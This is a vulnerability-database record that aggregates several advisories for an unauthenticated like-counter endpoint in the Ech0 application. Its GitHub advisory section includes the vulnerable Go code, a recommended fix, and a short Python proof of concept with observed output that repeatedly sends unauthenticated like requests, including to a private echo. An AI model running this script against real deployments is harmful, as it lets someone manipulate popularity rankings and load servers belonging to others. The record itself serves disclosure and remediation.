{"id":"EUVD-2026-65453","revision":null,"records":[{"revision":"dc4be1c2131b4045a0a41376fad684c3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-79661","aliases":[],"title":"Ech0 before 4.7.3 Unauthenticated fav_count Modification","description":"Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.","state":0,"publishedAt":"2026-08-25T11:33:25.369+00:00","modifiedAt":"2026-08-27T15:10:35.322+00:00","affected":[{"ecosystem":"Vendor product","name":"Ech0","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lin-snow\",\n                    \"product\": \"Ech0\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/lin-snow/Ech0\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.7.3\"\n                        },\n                        {\n                            \"version\": \"4.7.3\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","score":6.9,"severity":"MEDIUM"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg","https://www.vulncheck.com/advisories/ech0-before-unauthenticated-fav-count-modification"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-79661","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-79661","identifiers":["CVE-2026-79661"]},"retained":false,"historicalAffected":[]},{"revision":"68645f086200487996b4ab73c0a35058","observedAt":"2026-11-19T18:50:57.184+00:00","statement":{"source":"euvd","id":"EUVD-2026-65453","aliases":["CVE-2026-79661","GHSA-7xcp-744q-324g"],"title":"Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by sup…","description":"Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","score":6.9,"severity":null}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg","https://www.vulncheck.com/advisories/ech0-before-unauthenticated-fav-count-modification"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-65453","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 25, 2026, 11:33:25 AM","dateUpdated":"Aug 27, 2026, 3:10:35 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-65453","identifiers":["EUVD-2026-65453","CVE-2026-79661","GHSA-7xcp-744q-324g"]},"retained":false,"historicalAffected":[]},{"revision":"a32ad24e53934e628360ea943c9a72e4","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-79661","aliases":[],"title":"Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by sup…","description":"Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.","state":0,"publishedAt":"2026-08-25T12:16:29.87+00:00","modifiedAt":"2026-08-31T20:50:15.927+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.9,"severity":"MEDIUM"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg","https://www.vulncheck.com/advisories/ech0-before-unauthenticated-fav-count-modification"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79661","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-770"],"productCriteria":[],"sourceDates":{"published":"2026-08-25T12:16:29.870","lastModified":"2026-08-31T20:50:15.927"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-79661","identifiers":["CVE-2026-79661"]},"retained":false,"historicalAffected":[]},{"revision":"973e8e1d55e4437db2ab56ffcabb821a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-pj6q-4vq4-r8cg","aliases":["CVE-2026-79661","GO-2026-5541"],"title":"Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count","description":"## Summary\n\n`PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.\n\n## Details\n\nRoute registration at `internal/router/echo.go:12`:\n\n```go\nappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n```\n\n`PublicRouterGroup` is `r.Group(\"/api\")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`:\n\n```go\nfunc (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {\n    var exists bool\n    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).\n        Select(\"count(*) > 0\").Where(\"id = ?\", id).Find(&exists).Error; err != nil {\n        return err\n    }\n    if !exists {\n        return errors.New(commonModel.ECHO_NOT_FOUND)\n    }\n    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).\n        Where(\"id = ?\", id).\n        UpdateColumn(\"fav_count\", gorm.Expr(\"fav_count + ?\", 1)).Error; err != nil {\n        return err\n    }\n    return nil\n}\n```\n\nNo viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.\n\n## Proof of Concept\n\nDefault install, anonymous caller on the network:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# 1) Discover an echo UUID from the public feed (no auth).\npage = requests.get(f\"{TARGET}/api/echo/page?page=1&pageSize=1\").json()\necho_id = page[\"data\"][\"items\"][0][\"id\"]\n\n# 2) Like it. Repeat without deduplication.\nfor i in range(3):\n    r = requests.put(f\"{TARGET}/api/echo/like/{echo_id}\")\n    print(f\"public like #{i+1}: HTTP {r.status_code} {r.text}\")\n\n# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,\n#    but the UUID arrives via other channels (logs, referer, shared drafts).\nprivate_id = \"019daf77-4a97-7c4c-a63c-791b10ecfd0b\"  # admin-created private echo\nr = requests.put(f\"{TARGET}/api/echo/like/{private_id}\")\nprint(f\"private like: HTTP {r.status_code} {r.text}\")\n```\n\nObserved on v4.5.6 in the test container:\n\n```\npublic like #1: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\npublic like #2: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\npublic like #3: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\nprivate like: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\n```\n\nThe same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller.\n\n## Impact\n\nAnonymous, rate-limit-free writes against any echo's `fav_count`. Direct impact:\n\n- **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will.\n- **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.\n- **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.\n\nReachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.\n\n## Recommended Fix\n\nMove the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:\n\n```go\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/echo/like/:id\",\n    middleware.RateLimit(5, 10),\n    h.EchoHandler.LikeEcho(),\n)\n```\n\nAt the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:\n\n```go\nfunc (s *EchoService) LikeEcho(ctx context.Context, id string) error {\n    userID := viewer.MustFromContext(ctx).UserID()\n    if userID == \"\" {\n        return errors.New(commonModel.NO_PERMISSION_DENIED)\n    }\n    echo, err := s.echoRepository.GetEchosById(ctx, id)\n    if err != nil || echo == nil {\n        return errors.New(commonModel.ECHO_NOT_FOUND)\n    }\n    if echo.Private {\n        user, err := s.commonService.CommonGetUserByUserId(ctx, userID)\n        if err != nil || !user.IsAdmin {\n            return errors.New(commonModel.NO_PERMISSION_DENIED)\n        }\n    }\n    return s.echoRepository.LikeEchoOnce(ctx, id, userID)\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-05-07T21:23:57+00:00","modifiedAt":"2026-08-27T04:10:29.1823728+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/Ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.8-0.20260503035905-cecc2c19b590"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg","https://github.com/lin-snow/Ech0/commit/cecc2c19b590df85d79ea98457faa143130cd620","https://github.com/lin-snow/Ech0"],"sourceUrl":"https://github.com/advisories/GHSA-pj6q-4vq4-r8cg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pj6q-4vq4-r8cg","identifiers":["GHSA-pj6q-4vq4-r8cg","CVE-2026-79661","GO-2026-5541"]},"retained":false,"historicalAffected":[]},{"revision":"a97a9d489d274a7cbb0ed83b2ece5d75","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5541","aliases":["CVE-2026-79661","GHSA-pj6q-4vq4-r8cg"],"title":"Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0","description":"Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-08-27T04:10:29.1823728+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.8-0.20260503035905-cecc2c19b590"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg","https://github.com/lin-snow/Ech0/commit/cecc2c19b590df85d79ea98457faa143130cd620"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5541","license":"OSV · upstream source license applies","key":"osv:GO-2026-5541","identifiers":["GO-2026-5541","CVE-2026-79661","GHSA-pj6q-4vq4-r8cg"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T04:24:03.1656347+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-20T04:24:03.1656347+00:00","lastSuccessAt":"2026-11-20T04:24:03.3238543+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.3238549+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-3c254fb81a099762b5f3965cf4f869ad9e42b5cae173b622d645aadccc5fb4fa","complete":true,"records":429276,"lastAttemptAt":"2026-11-20T04:20:59.1967041+00:00","lastSuccessAt":"2026-11-20T04:20:59.1769175+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:20:59.1967041+00:00","snapshotPublishedAt":"2026-11-20T03:30:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b46d816d279d4522af5c24b18b474b9b","complete":false,"records":13903,"lastAttemptAt":"2026-11-20T04:34:05.5717073+00:00","lastSuccessAt":"2026-11-20T04:34:05.566+00:00","error":"448 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T04:34:05.566+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13361,"expectedIdentifiers":13951,"failedIdentifiers":448},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T04:24:03.1656347+00:00","complete":true,"records":1130,"lastAttemptAt":"2026-11-20T04:24:03.1656347+00:00","lastSuccessAt":"2026-11-20T04:24:03.3247198+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.3247226+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4f4c49e3a2cc47ada74ec1a85c1f4249","complete":true,"records":13915,"lastAttemptAt":"2026-11-20T04:24:24.6289791+00:00","lastSuccessAt":"2026-11-20T04:24:24.623+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:24.623+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13951,"expectedIdentifiers":13951,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-8c782c8bda9dbab8135c62bfbc9a19fa3557f15c26fbd641daea6b40b297253e","complete":true,"records":9981,"lastAttemptAt":"2026-11-20T04:24:03.0925119+00:00","lastSuccessAt":"2026-11-20T01:30:46.6941716+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.0925119+00:00","snapshotPublishedAt":"2026-11-20T00:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-94b3a229089d62296b97f627a772880f88ab7164d62486372661c0a39e321234","complete":true,"records":2019,"lastAttemptAt":"2026-11-20T04:20:59.3555914+00:00","lastSuccessAt":"2026-11-20T01:29:01.8774014+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:20:59.3555914+00:00","snapshotPublishedAt":"2026-11-20T00:17:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7ce196026235c6501d0b2fb81592d1b9dc06e8705525d41efefd322e75f6c22f","complete":true,"records":3200,"lastAttemptAt":"2026-11-20T04:24:03.1146008+00:00","lastSuccessAt":"2026-11-20T01:30:49.8670987+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:03.1146008+00:00","snapshotPublishedAt":"2026-11-20T00:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-0537254c02bf0b8a4a3bc3f2f70bbee04f26a2c639632f6016ad29d0b4723547","complete":true,"records":232813,"lastAttemptAt":"2026-11-20T04:24:02.9473856+00:00","lastSuccessAt":"2026-11-20T04:24:01.4919071+00:00","error":null,"lastVerifiedAt":"2026-11-20T04:24:02.9473856+00:00","snapshotPublishedAt":"2026-11-20T03:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}